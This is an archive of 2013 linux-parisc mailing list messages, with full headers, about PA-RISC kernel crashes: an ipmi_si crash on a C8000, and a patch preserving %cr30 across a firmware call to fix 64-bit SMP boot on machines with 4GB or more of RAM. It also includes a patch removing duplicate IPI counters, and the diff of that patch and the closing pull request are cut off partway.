Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VZiQP-0006Pe-PZ
	for glpp-linux-parisc@plane.gmane.org; Fri, 25 Oct 2013 16:31:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753212Ab3JYObl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Oct 2013 10:31:41 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:49570 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752718Ab3JYObl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Oct 2013 10:31:41 -0400
Original-Received: from 3capp-gmx-bs08.server.lan ([172.19.170.59]) by
 mrigmx.server.lan (mrigmx002) with ESMTP (Nemesis) id
 0LcV56-1W0ZCP2g8U-00juF7 for <linux-parisc@vger.kernel.org>; Fri, 25 Oct 2013
 16:31:39 +0200
Original-Received: from [155.56.68.214] by 3capp-gmx-bs08.server.lan with HTTP; Fri
 Oct 25 16:31:39 CEST 2013
Importance: normal
Sensitivity: Normal
In-Reply-To: <b6f8076c32d0859e4ddb328bb7aca076@tuxicoman.be>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:ePLqYkcSjxJis0XF2cSYwOaDLjDvXdkmovcZ+W0Qeaa
 0LHWZu6YwCtNO2kZ3pIQrbLWsBMK5FHndmyl2E4sn21TyR/lQN
 l4THY4wmQhIRbuwZVEqbd5DEDL8AIGgZKgKc6MTYo78v7WJKox
 QqVcNBwXywWxOPiMhG61vPZNxQvdAbBsyV2UOc/USbArOovwIL
 Q3Mxqers7K5mctGi3QDj0AY52pDQlSQKfWxyIZSNUHydbK6DeK
 +MEyakXA7Aj28JfajurKUVNlBHYifZ+km8oW0eUWwi6kpFNcJL FGdgpg=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5407>

> Using a simple test program, I'm able to panic the kernel using gdb.
> 
> I've attached the test program. The output from the console is the 
> following :
> 
> Bad Address (null pointer deref?): Code=6 regs=000000007e354370 
> (Addr=0000000000000000)

Works without crash for me on 3.12-rc6 ?
Linux ls3011 3.12.0-rc6-64bit+

Since you run 3.10.6, maybe updating the kernel might help.
Esp. this patch, which has been backported to kernel 3.10 (and is in 3.10.17):
http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?h=linux-3.10.y&id=77587e89405f5d8225a0e750df254bcc2dcb73e1

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike@sf-mail.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Short notice: ipmi_si kills C8000
Date: Sat, 26 Oct 2013 16:26:03 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2032135.eY9yL26Mti"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1382797582 1140 80.91.229.3 (26 Oct 2013 14:26:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Oct 2013 14:26:22 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 26 16:26:23 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Va4og-0008Kn-5a
	for glpp-linux-parisc@plane.gmane.org; Sat, 26 Oct 2013 16:26:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751460Ab3JZO0N (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Oct 2013 10:26:13 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:42763 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751355Ab3JZO0N (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Oct 2013 10:26:13 -0400
Original-Received: (qmail 31650 invoked from network); 26 Oct 2013 14:26:12 -0000
Original-Received: from dslb-088-070-126-135.pools.arcor-ip.net ([::ffff:88.70.126.135]:37503 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 26 Oct 2013 16:26:12 +0200
User-Agent: KMail/4.11.2 (Linux/3.11.6-1.gf7498bf-desktop; KDE/4.11.2; x86_64; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5410
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5410>


--nextPart2032135.eY9yL26Mti
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"

I did "modprobe ipmi_si" on my C8000 (kernel 3.11.6), which immediately=
 broke=20
the machine. I have no backtrace yet, but I'll try to get one next week=
. In=20
case someone has such a machine and the mood to debug this already=E2=80=
=A6 ;)

Eike
--nextPart2032135.eY9yL26Mti
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlJr0QAACgkQXKSJPmm5/E6PlgCfbmybhC8pQJo8/0DrThGtAD2R
ajsAnAtR3R1oD0HbbkYRCtSHcMY20LuC
=+Xcx
-----END PGP SIGNATURE-----

--nextPart2032135.eY9yL26Mti--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Short notice: ipmi_si kills C8000
Date: Sat, 26 Oct 2013 19:17:20 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20131026191720.5282c0c3@marga.jer-c2.orkz.net>
References: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1382807846 7901 80.91.229.3 (26 Oct 2013 17:17:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Oct 2013 17:17:26 +0000 (UTC)
Cc: Rolf Eike Beer <eike@sf-mail.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 26 19:17:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Va7UN-0005yV-6v
	for glpp-linux-parisc@plane.gmane.org; Sat, 26 Oct 2013 19:17:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752120Ab3JZRR0 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Oct 2013 13:17:26 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:37706 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751849Ab3JZRR0 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Oct 2013 13:17:26 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 04D0D33F02B;
	Sat, 26 Oct 2013 17:17:24 +0000 (UTC)
In-Reply-To: <2698496.oieJ4Vatqf@caliban.sf-tec.de>
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5411
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5411>

On Sat, 26 Oct 2013 16:26:03 +0200
Rolf Eike Beer <eike@sf-mail.de> wrote:

> I did "modprobe ipmi_si" on my C8000 (kernel 3.11.6), which
> immediately broke the machine. I have no backtrace yet, but I'll try
> to get one next week. In case someone has such a machine and the mood
> to debug this already=E2=80=A6 ;)

[  730.964000] ipmi message handler version 39.2
[  731.092000] IPMI System Interface driver.
[  731.148000] ipmi_si: Adding default-specified kcs state
machine[  731.224000] ipmi_si: Trying default-specified kcs state
machine at i/o address 0xca2, slave address 0x0, irq 0 <Cpu0>
e800009800e00000  000000004042ab9c  CC_ERR_CHECK_HPMC <Cpu0>
37000f7300e00000  8040004000000000  CC_ERR_CPU_CHECK_SUMMARY <Cpu0>
f600105e00e00000  fffffff0f0c00000  CC_MC_HPMC_MONARCH_SELECTED <Cpu0>
140003b200e00000  000000000000000b  CC_ERR_HPMC_STATE_ENTRY <Cpu0>
5600100b00e00000  0000000000000194  CC_MC_OS_HPMC_LEN_ERR <Cpu0>
5600106400e00000  fffffff0f0435110  CC_MC_BR_TO_OS_HPMC_FAILED <Cpu0>
e800009800e00000  000000004042ab9c  CC_ERR_CHECK_HPMC <Cpu0>
37000f7300e00000  8040004000000000  CC_ERR_CPU_CHECK_SUMMARY <Cpu0>
4000109f00e00000  0000000000000000  CC_MC_HPMC_INITIATED <Cpu0>
4000101900e00000  0000000000000000  CC_MC_MULTIPLE_HPMCS <Cpu0>
030010d500e00000  0000000000000000  CC_CPU_STOP

Confirmed.


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Do not crash 64bit SMP kernels on machines with >=
 4GB RAM
Date: Sat, 26 Oct 2013 23:19:25 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <20131026211925.GA7639@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1382822367 21833 80.91.229.3 (26 Oct 2013 21:19:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Oct 2013 21:19:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 26 23:19:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VaBGc-0001Up-2S
	for glpp-linux-parisc@plane.gmane.org; Sat, 26 Oct 2013 23:19:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753445Ab3JZVT2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Oct 2013 17:19:28 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:56142 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753211Ab3JZVT2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Oct 2013 17:19:28 -0400
Original-Received: from p100.box ([84.173.20.251]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0M35iN-1VriPp2goJ-00sy6l for
 <linux-parisc@vger.kernel.org>; Sat, 26 Oct 2013 23:19:27 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:n6wmkob9JVeIK/7a81pPNXAUM9I8nAYta5yNJ/D546cgHrDnqpI
 iqRXe8Zj+7VK8YORHbSD9tII5HiHyx7pJlGMclcwcnvqKeuTYalBgn+P/ErrSsy1rAU5y5q
 DbQULrUNeRryK7q7ckdgIY3GmVkxyZph4qEeTpdO9MFVNlOKEDysg+maGZZ6mRerz6NgCPX
 kV9KjM8ERHnj5aehruwWQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5412
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5412>

Since the beginning of the parisc-linux port, sometimes 64bit SMP kernels were
not able to bring up other CPUs than the monarch CPU and instead crashed the
kernel.  The reason was unclear, esp. since it involved various machines (e.g.
J5600, J6750 and SuperDome). Testing showed, that those crashes didn't happened
when less than 4GB were installed, or if a 32bit Linux kernel was booted.

In the end, the fix for those SMP problems is trivial:
During the early phase of the initialization of the CPUs, including the monarch
CPU, the PDC_PSW firmware function to enable WIDE (=64bit) mode is called.
It's documented that this firmware function may clobber various registers, and
one one of those possibly clobbered registers is %cr30 which holds the task
thread info pointer.

Now, if %cr30 would always have been clobbered, then this bug would have been
detected much earlier. But lots of testing finally showed, that - at least for
%cr30 - on some machines only the upper 32bits of the 64bit register suddenly 
turned zero after the firmware call.

So, after finding the root cause, the explanation for the various crashes
became clear:
- On 32bit SMP Linux kernels all upper 32bit were zero, so we didn't faced this
  problem.
- Monarch CPUs in 64bit mode always booted sucessfully, because the inital task
  thread info pointer was below 4GB.
- Secondary CPUs booted sucessfully on machines with less than 4GB RAM because
  the upper 32bit were zero anyay.
- Secondary CPus failed to boot if we had more than 4GB RAM and the task thread
  info pointer was located above the 4GB boundary.

Finally, the patch to fix this problem is trivial by saving the %cr30 register
before the firmware call and restore it afterwards.

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: John David Anglin <dave.anglin@bell.net>
Cc: <stable@vger.kernel.org> # 2.6.12+


diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index 37aabd7..d2d5825 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -195,6 +195,8 @@ common_stext:
 	ldw             MEM_PDC_HI(%r0),%r6
 	depd            %r6, 31, 32, %r3        /* move to upper word */
 
+	mfctl		%cr30,%r6		/* PCX-W2 firmware bug */
+
 	ldo             PDC_PSW(%r0),%arg0              /* 21 */
 	ldo             PDC_PSW_SET_DEFAULTS(%r0),%arg1 /* 2 */
 	ldo             PDC_PSW_WIDE_BIT(%r0),%arg2     /* 2 */
@@ -203,6 +205,8 @@ common_stext:
 	copy            %r0,%arg3
 
 stext_pdc_ret:
+	mtctl		%r6,%cr30		/* restore task thread info */
+
 	/* restore rfi target address*/
 	ldd             TI_TASK-THREAD_SZ_ALGN(%sp), %r10
 	tophys_r1       %r10
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP J5600/J6750 64bit SMP CPU#1 stuck problems [was: Does there
 exists any 32bit-only PARISC SMP machines?]
Date: Sun, 27 Oct 2013 00:06:55 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <526C3CFF.2070005@gmx.de>
References: <521F9848.4010404@gmx.de> <1377830541.2331.5.camel@dabdike> <20130903155643.GA1430@glitch> <trinity-b7a0d82a-16b9-4204-be6e-2873db548248-1378282389073@3capp-gmx-bs28> <20130904140705.GA30223@glitch> <20130904142847.GA2893@glitch> <52658989.5090508@gmx.de> <BLU0-SMTP632514F697DEA3A182EE9897010@phx.gbl> <526590F0.8040504@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382825216 15116 80.91.229.3 (26 Oct 2013 22:06:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Oct 2013 22:06:56 +0000 (UTC)
Cc: Dave Land <xmechanic@landcomp.net>
To: John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 27 00:07:00 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VaC0Y-0000yC-SJ
	for glpp-linux-parisc@plane.gmane.org; Sun, 27 Oct 2013 00:06:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753614Ab3JZWG6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Oct 2013 18:06:58 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:52879 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753601Ab3JZWG6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Oct 2013 18:06:58 -0400
Original-Received: from [192.168.178.60] ([84.173.20.251]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0M3vCA-1VsY6X3qT4-00raFg for
 <linux-parisc@vger.kernel.org>; Sun, 27 Oct 2013 00:06:56 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <526590F0.8040504@gmx.de>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:3xWTcJ/PLsoMr5odVkOKbIFTwUl3+Dkyj+85a/Ai9E7poOqQIQS
 aDrncWmqO3DcAw8T2AikZUw9dww3TXoJuTyLd1nBuNddRQ8YKDcXvwo3UMSCUKvA9jYyHDS
 cPZihNLG9oL1VZ7RmgQV/prqcxmcD7/IjV23yTHxsP7HraRblFgpjyACojfKyLAbZuDdqJD
 Fq0gWtWJXkzlK7HrrlFjw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5413
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5413>

On 10/21/2013 10:39 PM, Helge Deller wrote:
>>> On 09/04/2013 04:28 PM, Domenico Andreoli wrote:
>>>>>>> J5600 is SMP capable in both 32bit and 64bit mode.
>>>>>>> mine doesn't boot 64bit SMP since 2.6.22. I've never been able to trace
>>>>>>> it down but can confirm it happens also on more recent kernels.
>>>>> I confirm that smp parisc64 v3.11 doesn't bring up both the cpus on my
>>>>> system but at least it boots one, something that didn't happen in some
>>>>> darker moments since 2.6.22.
>>>>>
>>>>> similar "SMP: CPU:1 is stuck." happens also with debian v3.10-parisc64-smp kernel.
>>>> BTW, this is the most detailed investigation I'm aware of:
>>>> https://lkml.org/lkml/2008/4/20/251

I think we finally found the reason and a fix for the "CPU:1 is stuck" problem :-)

See the patch I've just sent to the mailing list:
[PATCH] parisc: Do not crash 64bit SMP kernels on machines with >= 4GB RAM
https://patchwork.kernel.org/patch/3099061/

It would be nice if those people who had problems could verify if this fixes it.
At least on the J6750 from Dave Land I was now able to successfully boot the 64bit SMP kernel.

I think this should even fix the SuperDome SMP problem - if someone can test? 

If you might be too lazy to build yourself a kernel, just try my 3.10.17-based installer image:
http://ftp.parisc-linux.org/debian-ports/unstable-boot-image/lifimage
To select the 64bit kernel at boot, choose in IPL "0/vmlinux64" as kernel image.
Usually palo would otherwise choose the 32bit kernel...

In case you want to run a full installation, the instructions are available at 
http://wiki.parisc-linux.org/Debian_Ports_Installation

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: do not count IPI calls twice
Date: Sun, 27 Oct 2013 00:26:20 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20131026222620.GA11061@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1382826382 27545 80.91.229.3 (26 Oct 2013 22:26:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Oct 2013 22:26:22 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 27 00:26:26 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VaCJN-0005Wf-W9
	for glpp-linux-parisc@plane.gmane.org; Sun, 27 Oct 2013 00:26:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753687Ab3JZW0Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Oct 2013 18:26:24 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:58931 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753551Ab3JZW0Y (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Oct 2013 18:26:24 -0400
Original-Received: from p100.box ([84.173.20.251]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LnTjW-1WBDM00XTK-00heHz for
 <linux-parisc@vger.kernel.org>; Sun, 27 Oct 2013 00:26:22 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:fkbDR6P35Qh5iHkCvlJbuh1crEN81tN1n0U6JnKUIUrYr7V7RGp
 TSh49gl57Swno+26m8Z0uDZm/nl2FgKZLzO7ppiAcxubhUZ2qGzIkuKG7PGHanUGKR8fzdA
 uTWpzvmIQgFGQmrWfwwacsHDQ8wc+P45qmwVONufnYMiWc4+Aig3ssHMXXQQzG/GEynsG8E
 IuRdztFIv9ge2u30suZOw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5414
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5414>

The number of IPI calls is already visible as per-cpu IPI irq counters
in/proc/cpuinfo, so let's drop this additional counting.
This partly reverts:
cd85d55 parisc: more irq statistics in /proc/interrupts

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/hardirq.h b/arch/parisc/include/asm/hardirq.h
index 241c345..9b3bd03 100644
--- a/arch/parisc/include/asm/hardirq.h
+++ b/arch/parisc/include/asm/hardirq.h
@@ -21,7 +21,6 @@ typedef struct {
 	unsigned int irq_stack_usage;
 #ifdef CONFIG_SMP
 	unsigned int irq_resched_count;
-	unsigned int irq_call_count;
 #endif
 	unsigned int irq_unaligned_count;
 	unsigned int irq_fpassist_count;
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 2e6443b..501ac8b 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -179,10 +179,6 @@ int arch_show_interrupts(struct seq_file *p, int prec)
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_resched_count);
 	seq_puts(p, "  Rescheduling interrupts\n");
-	seq_printf(p, "%*s: ", prec, "CAL");
-	for_each_online_cpu(j)
-		seq_printf(p, "%10u ", irq_stats(j)->irq_call_count);
-	seq_puts(p, "  Function call interrupts\n");
 #endif
 	seq_printf(p, "%*s: ", prec, "UAH");
 	for_each_online_cpu(j)
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 2b96602..ceda229 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -125,11 +125,6 @@ ipi_interrupt(int irq, void *dev_id)
 	unsigned long ops;
 	unsigned long flags;
 
-	/* Count this now; we may make a call that never returns. */
-	inc_irq_stat(irq_call_count);
-
-	mb();	/* Order interrupt and bit testing. */

From - Thu Nov 08 21:09:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fix for v3.12
Date: Sun, 27 Oct 2013 16:53:40 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20131027155340.GA30470@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1382889222 5175 80.91.229.3 (27 Oct 2013 15:53:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Oct 2013 15:53:42 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 27 16:53:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VaSev-0003jf-9z
	for glpp-linux-parisc@plane.gmane.org; Sun, 27 Oct 2013 16:53:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754484Ab3J0Pxo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Oct 2013 11:53:44 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:65225 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754363Ab3J0Pxo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Oct 2013 11:53:44 -0400
Original-Received: from p100.box ([84.173.9.33]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0LuP19-1VibK50vSx-011imi for
 <linux-parisc@vger.kernel.org>; Sun, 27 Oct 2013 16:53:42 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:pKxgp/QneyWjyfijUgOZhiSF23LR0/7t8j/cDty6+W6evZbPfCM
 w3w6kroDwPJhiZ1W9m4bAREDuC1I1OeRjKrCy9uC+uWZXYHl5M0rAmAMl+VkEGoLS2OFP/P
